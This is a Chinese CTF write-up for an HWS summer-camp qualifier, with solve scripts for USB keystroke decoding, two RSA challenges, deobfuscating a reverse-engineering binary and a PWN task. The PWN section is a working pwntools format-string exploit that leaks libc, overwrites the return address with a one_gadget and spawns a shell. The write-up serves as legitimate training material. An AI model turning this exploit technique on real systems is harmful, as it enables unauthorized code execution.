HWS第七期夏令营(硬件安全营)预选赛wp

发布时间 2023-07-17 15:59:18作者: ㅤ浮虚千年

MISC

USB

image-20230715213511458.png
是个usb流量包
image-20230715213527211.png
发现是6字节数据,键盘是8字节  鼠标是4字节,说明这不是说明重点,再往下面找,有HID Data
image-20230715213605215.png
这里是8字节的 猜测这就是键盘流量,全部导出后加冒号,方便查看
image-20230715213718994.png
image-20230715213725181.png

#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {
    "04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j",
    "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r", "16": "s", "17": "t",
    "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4",
    "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>",
    "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[", "30": "]", "31": "\\", "32": "<NON>", "33": ";",
    "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>",
    "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>",
    "45": "<F12>"
}

shiftKeys = {
    "04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I", "0d": "J",
    "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R", "16": "S", "17": "T",
    "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!", "1f": "@", "20": "#", "21": "$",
    "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>",
    "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"",
    "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>",
    "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>",
    "45": "<F12>"
}

output = []
keys = open('out.txt')

for line in keys:
    try:
        if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":
            continue

        if line[6:8] in normalKeys.keys():
            output += [normalKeys[line[6:8]], shiftKeys[line[6:8]]][line[1] == '2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag = 0
print("".join(output))

for i in range(len(output)):
    try:
        a = output.index('<DEL>')
        del output[a]
        del output[a - 1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag += 1
            output.pop(i)
            if flag == 2:
                flag = 0

        if flag != 0:
            output[i] = output[i].upper()
    except:
        pass

print('output: ' + "".join(output))

github上的解密脚本,解码后
image-20230715213843468.png
猜测是base85解密 问题是解密失败,再看一下导出的HID Data,发现流量中有20开头的,这个20开头的也算是shiftKeys。添加条件输出后
image-20230715213918307.png
image-20230715213924372.png
flag{ec1b8b96-56a9-f15c-4e39-503e92ab45d2}

CRYPTO

RSA

和2022年强网杯题目factor类似

from sage.all import *

def s(m1, m2, N, e, C):
    PR.<x> = PolynomialRing(Zmod(N))
    
    m1, m2 = int(m1), int(m2)
    r = 7
    beta = 1/(r+1)
    idx = (r*(r-1)) / ((r+1)*(r+1))
    kbits = int(2048*idx)//2

    f = m1*m2*x-(m2-m1)
    x = f.monic().small_roots(X=2**kbits, beta=beta)[0]

    equ = m1*m2*x-(m2-m1)
    g = gcd(equ, N)
    p = int(g)^(1/(r-1))
    assert N%p == 0
    q = N//p^r
    assert N%q == 0

    phi = p^(r-1)*(p-1)*(q-1)
    d = inverse_mod(e, phi)
    m = pow(C, d, N)
    
    return m

b = s(e1,e2,N,e,C)
print(bytes.fromhex(hex(b)[2:]))

random

思路是去爆破这个这个左移的位数,然后按照题目中生成素数的思路来。用 是否可以整除那个素数来判断是不是正确的素数,多开几个终端,爆破了 分钟之后出来了所有素数,顺便把 base 也爆破出来了

from Crypto.Util.number import *
from gmpy2 import *
from tqdm import *

n = 255550794734774347335455038653204099810524562323968101081052744238324333979282590769066826059535810339765419405089707653972316828518446466787073982991340735273047955757161722774546888128720663627716647123110956021905275918358574092054477588935546729192812379266210918802470144452212508255209922150559524376661512464064852413804511191503030046546647554981646983220695416838829085308878177824361071544916728725428437436959573167863053126718594118224053088660739173865895266537548733106779437480905737491231720771570860988017959907437998012442781279100256862684919251885437194156545435396952798548033193683684362049646718627530076461463826459504520525895649547513376441325848313193080013281816762156916219271109726593135112626577858906494025788770088106285316571255392298608980679161123528759865796345121056864973189231253364595956642612401745212207858555858704724770456899071144650909246822311039572915447866615638976747716646382091135281119109866295649034560378368202797914202112090339159898226929176034503535419893300159083361891627300767030933209665917744361038219820997348160094737332979677839131999258559999565207302339242257832022939036526481610130970477187338439181123984340269665409009894192138483254592729253191096427332283419085864095600303323775372526431524911842065699875575955728772820558157791292247976982470646890930951250598649964200733076634093613078091713383782021194766013790646324780327618195433827227105459480409797466859653960886570869469172506894631937612508518886406112758352094014377947728184352908630672750330561369500089138179794848896959683336195170519521
p_list = []
#for i in tqdm(range(128,256)):
base = 1 << 175
for j in trange(0,500000):
    p = int(next_prime(base + j))
    if n % p == 0:
        #print(f'base={base}\n')
        if p not in p_list:
            p_list.append(p)
            print(f'p={p}')
        
print(p_list)
#base=47890485652059026823698344598447161988085597568237568
'''
p=47890485652059026823698344598447161988085597568251161
p=47890485652059026823698344598447161988085597568297951
p=47890485652059026823698344598447161988085597568338059
p=47890485652059026823698344598447161988085597568363667
p=47890485652059026823698344598447161988085597568398337
p=47890485652059026823698344598447161988085597568433917
p=47890485652059026823698344598447161988085597568484111
p=47890485652059026823698344598447161988085597568667099
p=47890485652059026823698344598447161988085597568729849
'''

n % (int(p)**int(j)) 来判断 pn 的几次幂,如果余数不为 那么循环的 j 就是几次幂。将 p_list[i] ** mi[i] 添加到一个新列表,后面添加判断相乘是否为 n

from threading import Thread
from tqdm import *
from gmpy2 import *
n = 255550794734774347335455038653204099810524562323968101081052744238324333979282590769066826059535810339765419405089707653972316828518446466787073982991340735273047955757161722774546888128720663627716647123110956021905275918358574092054477588935546729192812379266210918802470144452212508255209922150559524376661512464064852413804511191503030046546647554981646983220695416838829085308878177824361071544916728725428437436959573167863053126718594118224053088660739173865895266537548733106779437480905737491231720771570860988017959907437998012442781279100256862684919251885437194156545435396952798548033193683684362049646718627530076461463826459504520525895649547513376441325848313193080013281816762156916219271109726593135112626577858906494025788770088106285316571255392298608980679161123528759865796345121056864973189231253364595956642612401745212207858555858704724770456899071144650909246822311039572915447866615638976747716646382091135281119109866295649034560378368202797914202112090339159898226929176034503535419893300159083361891627300767030933209665917744361038219820997348160094737332979677839131999258559999565207302339242257832022939036526481610130970477187338439181123984340269665409009894192138483254592729253191096427332283419085864095600303323775372526431524911842065699875575955728772820558157791292247976982470646890930951250598649964200733076634093613078091713383782021194766013790646324780327618195433827227105459480409797466859653960886570869469172506894631937612508518886406112758352094014377947728184352908630672750330561369500089138179794848896959683336195170519521
p_list = [47890485652059026823698344598447161988085597568251161, 47890485652059026823698344598447161988085597568297951, 47890485652059026823698344598447161988085597568338059, 47890485652059026823698344598447161988085597568363667, 47890485652059026823698344598447161988085597568398337, 47890485652059026823698344598447161988085597568433917, 47890485652059026823698344598447161988085597568484111, 47890485652059026823698344598447161988085597568667099, 47890485652059026823698344598447161988085597568729849]
mi = []

for p in p_list:
    for j in range(1,6):
        if n % (int(p)**int(j)) != 0:
            print(f'p{p_list.index(p)}的幂为:{j-1}')
            mi.append(j-1)
            break
        elif j==5:
            print(f'p{p_list.index(p)}的幂为:{j}')
            mi.append(j)
            break
print(mi)

check = 1
for i in range(len(mi)):
    check *= p_list[i] ** mi[i]
print(check - n)

最后一部分把 e 的公因数 108 去除之后用 sagenth_root 直接开根即可,爆破大概7分钟。

from threading import Thread
from tqdm import *
from gmpy2 import *
from functools import reduce
from Crypto.Util.number import *
c = 29259244746260903447574448389058952310000390135231599667104954615635954705912759181552349897154663199516384757779582324312559110410628822220097857204989378367616522573650610718867075518776621505865327181301059226036067398269476892575801933638458560523584293063843890012581096233699743704556897984235725492806550009731913445801481786988321848320254380607620726887530437151238556482879159888862341096974129499878601309077513908335631417136332585391767849651968095851808312565329858938394084369711172343300695636449663297542069122814607488273607842533010193498547579501368165500427762712900139188279259336486273788664239339542187191374015805659616093967428577968683677885747775540903578723024681500272919689849253480672194507905399890280339044782040395397922973935735424691828624724029439840506402735626398047317544972966643810550593849196291833043243448655939654884418027006572740130515844853007135331296523599052132266288322473865775521953742444721612389547052020839760259179074124960827686670217980159612966767064088131176654212504654177367329044762238432531402899949096987765334061101859346928585114984440559379578507872401025874782849854603895110182401204202962118890563473961321104811452539667609870771280348801335004559132482743318366689808669972965573335905879806817618597010442262336079838039317609336210571773187461470707420797827741277982208089496339300646565067740673242728353659143107970717482392927903021102141779217003523105389389513154792904745687959335115429159530013641777064904216646895961910784920181748841104318013067029395394948190384737300533803009402182800702

n = 255550794734774347335455038653204099810524562323968101081052744238324333979282590769066826059535810339765419405089707653972316828518446466787073982991340735273047955757161722774546888128720663627716647123110956021905275918358574092054477588935546729192812379266210918802470144452212508255209922150559524376661512464064852413804511191503030046546647554981646983220695416838829085308878177824361071544916728725428437436959573167863053126718594118224053088660739173865895266537548733106779437480905737491231720771570860988017959907437998012442781279100256862684919251885437194156545435396952798548033193683684362049646718627530076461463826459504520525895649547513376441325848313193080013281816762156916219271109726593135112626577858906494025788770088106285316571255392298608980679161123528759865796345121056864973189231253364595956642612401745212207858555858704724770456899071144650909246822311039572915447866615638976747716646382091135281119109866295649034560378368202797914202112090339159898226929176034503535419893300159083361891627300767030933209665917744361038219820997348160094737332979677839131999258559999565207302339242257832022939036526481610130970477187338439181123984340269665409009894192138483254592729253191096427332283419085864095600303323775372526431524911842065699875575955728772820558157791292247976982470646890930951250598649964200733076634093613078091713383782021194766013790646324780327618195433827227105459480409797466859653960886570869469172506894631937612508518886406112758352094014377947728184352908630672750330561369500089138179794848896959683336195170519521
p_list = [47890485652059026823698344598447161988085597568251161, 47890485652059026823698344598447161988085597568297951, 47890485652059026823698344598447161988085597568338059, 47890485652059026823698344598447161988085597568363667, 47890485652059026823698344598447161988085597568398337, 47890485652059026823698344598447161988085597568433917, 47890485652059026823698344598447161988085597568484111, 47890485652059026823698344598447161988085597568667099, 47890485652059026823698344598447161988085597568729849]
mi = []

for p in p_list:
    for j in range(1,6):
        if n % (int(p)**int(j)) != 0:
            print(f'p{p_list.index(p)}的幂为:{j-1}')
            mi.append(j-1)
            break
        elif j==5:
            print(f'p{p_list.index(p)}的幂为:{j}')
            mi.append(j)
            break
print(mi)

n_list = [p_list[i] ** mi[i] for i in range(len(mi))]
#print(n_list)
print(reduce((lambda x, y: x * y), n_list) - n)

e = 57564

res=[]

for pi in n_list:
    d = inverse(int(e//108),euler_phi(pi))
    m = pow(c,d,pi)
    res.append(Zmod(pi)(m).nth_root(108, all=True))
print(res)

import itertools

for vc in itertools.product(*res):
    _c = [int(x) for x in vc]
    m = long_to_bytes(int(crt(_c, n_list)))
    if b"flag" in m:
        print(m)
#flag{U_ar3_The_K1ng_oF_rand0m_kin9Dom!}

REVERSE

animals

拖进ida可以看到有很多花(总结了一下,共有两种花),反编译也不是很好看
image.png

{1FF3D271-42A4-4c0c-BF92-E28BA36B760B}.png

对两种花指令写脚本批量化去掉

start_add = 0x400800
end_add = 0x406e22
for i in range(start_add,end_add):
	if get_wide_dword(i) == 0x08750a74:
		patch_dword(i,0x90909090)
		patch_dword(i+4,0x90909090)
		patch_dword(i+8,0x90909090)
	elif get_wide_dword(i) == 0x13751574:
		patch_dword(i,0x90909090)
		patch_dword(i+4,0x90909090)
		patch_dword(i+8,0x90909090)
		patch_dword(i+12,0x90909090)
		patch_dword(i+16,0x90909090)
		patch_word(i+20,0x9090)
		patch_byte(i+22,0x90)

之后继续修复,发现直接用快捷键p创建函数依然会爆红,原因是ida对main函数的范围反编译错误,手动编辑main函数
image.png
main函数大概意思是选择正确的动物,然后对选项进行一些操作,包括位运算和md5,md5加密的链接变量被修改过
image.png
可以看得到动物比较少,所以这个题可以直接爆破md5

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <windows.h>
#include <stdint.h>
#include <string.h>
#include "md5.h"



using namespace std;
typedef int status;
typedef int selemtype;
char choices[][10] = {
    "cat",
    "dog",
    "fox",
    "panda",
    "dragon",
    "monkey"
    };
unsigned char answer[] = {
    0xCB, 0xA4, 0x7B, 0xE5, 0xF0, 0x1C, 0xD1, 0x95, 0x5C, 0x85,
    0x46, 0xA2, 0xB2, 0x4F, 0xBD, 0x18
    };
int main() {
    MD5_CTX md5;
    unsigned char md5_str[32] = { 0 };
    int length = 9; 

    int choice[9]; 

    for (int i = 0; i < 9; i++) {
        choice[i] = 0;
    }

    while (1) {
        char animalName[9 * 10 + 1];
        int index = 0;
        for (int i = 0; i < 9; i++) {
            int choiceIndex = choice[i];
            char* animal = choices[choiceIndex];
            while (*animal != '\0') {
                animalName[index] = *animal;
                animal++;
                index++;
            }
        }
        animalName[index] = '\0';
        for (int i = 0; i < 16; i++)
        {
            md5_str[i] = 0;
        }
        MD5Init(&md5);
        MD5Update(&md5, (unsigned char*)animalName, strlen((char*)animalName));
        MD5Final(&md5, (unsigned char*)md5_str);
        for (int i = 0; i < 16; i++) {
            md5_str[i] = (md5_str[i] & 0xE9 | ~md5_str[i] & 0x16);
        }
        for (int i = 0; i < 16; i++)
        {
            if (md5_str[i] != answer[i])
            {
                break;
            }
            if (i > 5)
            {
                printf("%s", animalName);
                return 0;
            }
        }

        // 更新选择索引
        int i = length - 1;
        while (i >= 0 && choice[i] == 5) {
            choice[i] = 0;
            i--;
        }
        if (i < 0) {
            break;
        }
        choice[i]++;
    }

    return 0;
}
#pragma once
#ifndef MD5_H
#define MD5_H

typedef struct
{
    unsigned int count[2];
    unsigned int state[4];
    unsigned char buffer[64];
}MD5_CTX;


#define F(x,y,z) ((x & y) | (~x & z))
#define G(x,y,z) ((x & z) | (y & ~z))
#define H(x,y,z) (x^y^z)
#define I(x,y,z) (y ^ (x | ~z))
#define ROTATE_LEFT(x,n) ((x << n) | (x >> (32-n)))
#define FF(a,b,c,d,x,s,ac) \
          { \
          a += F(b,c,d) + x + ac; \
          a = ROTATE_LEFT(a,s); \
          a += b; \
          }
#define GG(a,b,c,d,x,s,ac) \
          { \
          a += G(b,c,d) + x + ac; \
          a = ROTATE_LEFT(a,s); \
          a += b; \
          }
#define HH(a,b,c,d,x,s,ac) \
          { \
          a += H(b,c,d) + x + ac; \
          a = ROTATE_LEFT(a,s); \
          a += b; \
          }
#define II(a,b,c,d,x,s,ac) \
          { \
          a += I(b,c,d) + x + ac; \
          a = ROTATE_LEFT(a,s); \
          a += b; \
          }                                            
void MD5Init(MD5_CTX* context);
void MD5Update(MD5_CTX* context, unsigned char* input, unsigned int inputlen);
void MD5Final(MD5_CTX* context, unsigned char digest[16]);
void MD5Transform(unsigned int state[4], unsigned char block[64]);
void MD5Encode(unsigned char* output, unsigned int* input, unsigned int len);
void MD5Decode(unsigned int* output, unsigned char* input, unsigned int len);

#endif

#include <memory.h>

unsigned char PADDING[] = { 0x80,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
                         0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
                         0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
                         0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };

void MD5Init(MD5_CTX* context)
{
    context->count[0] = 0;
    context->count[1] = 0;
    context->state[0] = 0xEFCDAB89;
    context->state[1] = 0x67452301;
    context->state[2] = 0x10325476;
    context->state[3] = 0x98BADCFE;
}
void MD5Update(MD5_CTX* context, unsigned char* input, unsigned int inputlen)
{
    unsigned int i = 0, index = 0, partlen = 0;
    index = (context->count[0] >> 3) & 0x3F;
    partlen = 64 - index;
    context->count[0] += inputlen << 3;
    if (context->count[0] < (inputlen << 3))
        context->count[1]++;
    context->count[1] += inputlen >> 29;

    if (inputlen >= partlen)
    {
        memcpy(&context->buffer[index], input, partlen);
        MD5Transform(context->state, context->buffer);
        for (i = partlen; i + 64 <= inputlen; i += 64)
            MD5Transform(context->state, &input[i]);
        index = 0;
    }
    else
    {
        i = 0;
    }
    memcpy(&context->buffer[index], &input[i], inputlen - i);
}
void MD5Final(MD5_CTX* context, unsigned char digest[16])
{
    unsigned int index = 0, padlen = 0;
    unsigned char bits[8];
    index = (context->count[0] >> 3) & 0x3F;
    padlen = (index < 56) ? (56 - index) : (120 - index);
    MD5Encode(bits, context->count, 8);
    MD5Update(context, PADDING, padlen);
    MD5Update(context, bits, 8);
    MD5Encode(digest, context->state, 16);
}
void MD5Encode(unsigned char* output, unsigned int* input, unsigned int len)
{
    unsigned int i = 0, j = 0;
    while (j < len)
    {
        output[j] = input[i] & 0xFF;
        output[j + 1] = (input[i] >> 8) & 0xFF;
        output[j + 2] = (input[i] >> 16) & 0xFF;
        output[j + 3] = (input[i] >> 24) & 0xFF;
        i++;
        j += 4;
    }
}
void MD5Decode(unsigned int* output, unsigned char* input, unsigned int len)
{
    unsigned int i = 0, j = 0;
    while (j < len)
    {
        output[i] = (input[j]) |
            (input[j + 1] << 8) |
            (input[j + 2] << 16) |
            (input[j + 3] << 24);
        i++;
        j += 4;
    }
}
void MD5Transform(unsigned int state[4], unsigned char block[64])
{
    unsigned int a = state[0];
    unsigned int b = state[1];
    unsigned int c = state[2];
    unsigned int d = state[3];
    unsigned int x[64];
    MD5Decode(x, block, 64);
    FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */
    FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */
    FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */
    FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */
    FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */
    FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */
    FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */
    FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */
    FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */
    FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */
    FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */
    FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */
    FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */
    FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */
    FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */
    FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */

    /* Round 2 */
    GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */
    GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */
    GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */
    GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */
    GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */
    GG(d, a, b, c, x[10], 9, 0x2441453); /* 22 */
    GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */
    GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */
    GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */
    GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */
    GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */
    GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */
    GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */
    GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */
    GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */
    GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */

    /* Round 3 */
    HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */
    HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */
    HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */
    HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */
    HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */
    HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */
    HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */
    HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */
    HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */
    HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */
    HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */
    HH(b, c, d, a, x[6], 23, 0x4881d05); /* 44 */
    HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */
    HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */
    HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */
    HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */

    /* Round 4 */
    II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */
    II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */
    II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */
    II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */
    II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */
    II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */
    II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */
    II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */
    II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */
    II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */
    II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */
    II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */
    II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */
    II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */
    II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */
    II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */
    state[0] += a;
    state[1] += b;
    state[2] += c;
    state[3] += d;
}

具体思路为:用动物名字加密,然后变异的md5加密后和密文比较,如果比较成功就是对的动物名字,用这个名字的序号再加密md5

flag{839c998c52db6618bb24c346b85a894f}

PWN

fmt

from pwn import *
import sys
remote_addr = ["123.60.179.52",30207]
libc = ELF('./libc.so.6')
context.log_level="debug" 
p = process("./fmt_patched")
context(arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug" 
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))

payload = b'%8$p.%18$p'
sla(b'str: ', payload)
libc.address = int(rc(14), 16) - 0x1e94a0
ru(b'.')
ret_addr = int(rc(14), 16) - 8
one = libc.address + 0xe3b01
pr('libc.address', libc.address)
pr('one', one)
d1 = ((one >> 32) & 0xffff) - ((one >> 16) & 0xffff)
d2 = (one & 0xffff) - ((one >> 32) & 0xffff)

payload = b"%" + str((one >> 16) & 0xffff).encode() + b"c%11$hn" 
payload += b"%" + str(d1).encode() + b"c%12$hn" 
payload += b"%" + str(d2).encode() + b"c%13$hn" 
payload = payload.ljust(0x28, b'a')
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)
payload += p64(ret_addr)
sla("str: ", payload)

shell()